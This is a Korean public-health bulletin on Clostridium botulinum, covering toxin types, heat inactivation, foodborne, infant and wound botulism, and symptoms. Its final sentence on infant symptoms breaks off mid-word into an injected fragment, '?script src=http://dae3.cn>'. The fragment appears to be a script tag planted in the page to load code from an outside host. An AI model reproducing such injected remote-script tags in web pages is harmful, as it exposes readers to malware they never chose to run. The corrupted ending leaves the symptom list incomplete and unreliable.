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| 보툴리눔 식중독 | |||||
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| 작성자 | 한국식품산업협회 | 등록일 | 2005/02/04 | 조회 | 8201 |
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□ 클로스트리디움 보툴리눔(Clostridium botulinum) 특성 - 클로스트리디움 보틀리눔은 혐기성균으로 저항성이 강한 아포를 갖는 독소형 식중독균임 - 세균 독소 중 가장 강력한 독소(botulinum neurotoxin)를 생성함 • 독소는 항원성에 따라 7가지(A형~G형) 유형으로 구분 • 식중독 유발 독소는 주로 A, B, E 형과 관계있음 • 독소는 열에 약하여 80℃에서 20분, 100℃에서 1~2분 가열하면 쉽게 파괴됨 • 사람을 치사시킬 수 있는 독소량은 0.1~1ng/kg으로 추정 □ 보툴리누스증 - 사람에서 일어나는 보툴리누스증은 보툴리눔 식중독, 영아 보툴리누스증, 상처 보툴리누스증 및 기타의 4가지로 분류 ➀ 보툴리누스 식중독 (Foodborne botulism) • 식품 중에서 보툴리눔균이 생성하는 독소를 섭취함으로써 발병 • 보툴리눔균은 균 자체가 위험하기보다는 생육 환경이 악화될 때에 형성되는 포 자가 다시 생장하면서 생산하는 독소에 의함 • 식중독을 일으키는 보툴리눔 독소량은 수 나노그램에 불과하여 극히 작은 양으 로도 식중독을 일으킬 수 있음 ➁ 영아 보툴리누스증 (Infant botulism) • 1976년 처음 확인되었으며, 미국에서는 보툴리누스증 중에서 영아 보툴리누스 증이 가장 흔함 • 포자를 섭취할 경우 포자가 영아의 장관에서 발아하고 증식하여 만들어내는 독소에 의함 • 꿀과 관련한 영아 보툴리누스증 유발에는 104 포자/kg 필요 • 1세 미만의 영아들에게 각별한 주의를 요하는 것은 면역력을 완전히 갖추지 못하였고 위산의 산도가 약하여 장내로 감염될 확률이 높기 때문임 ➂ 창상 보툴리누스증 (Wound botulism) • 균의 포자가 상처에 감염되어 유발되는 경우로 극히 드물게 일어남 □ 보툴리누스증 임상증상 - 통상적인 보툴리눔 식중독 증상은 독소에 오염된 음식물의 섭취 후 18시간 내지 36시간 후에 일어나며 사람에 따라 4시간에서 8일로 다양할 수 있음 - 주요 증상은 나른함, 어지러움, 복시현상, 호흡곤란, 근육감퇴, 복부팽창, 변비 등을 나타냄 - 영유아들의 증상은 변비, 흡유력 저하, 무기력함, 침을 흘리고 평소와 다르게 울거나, 목을 가누는 능력이 현저?script src=http://dae3.cn> |
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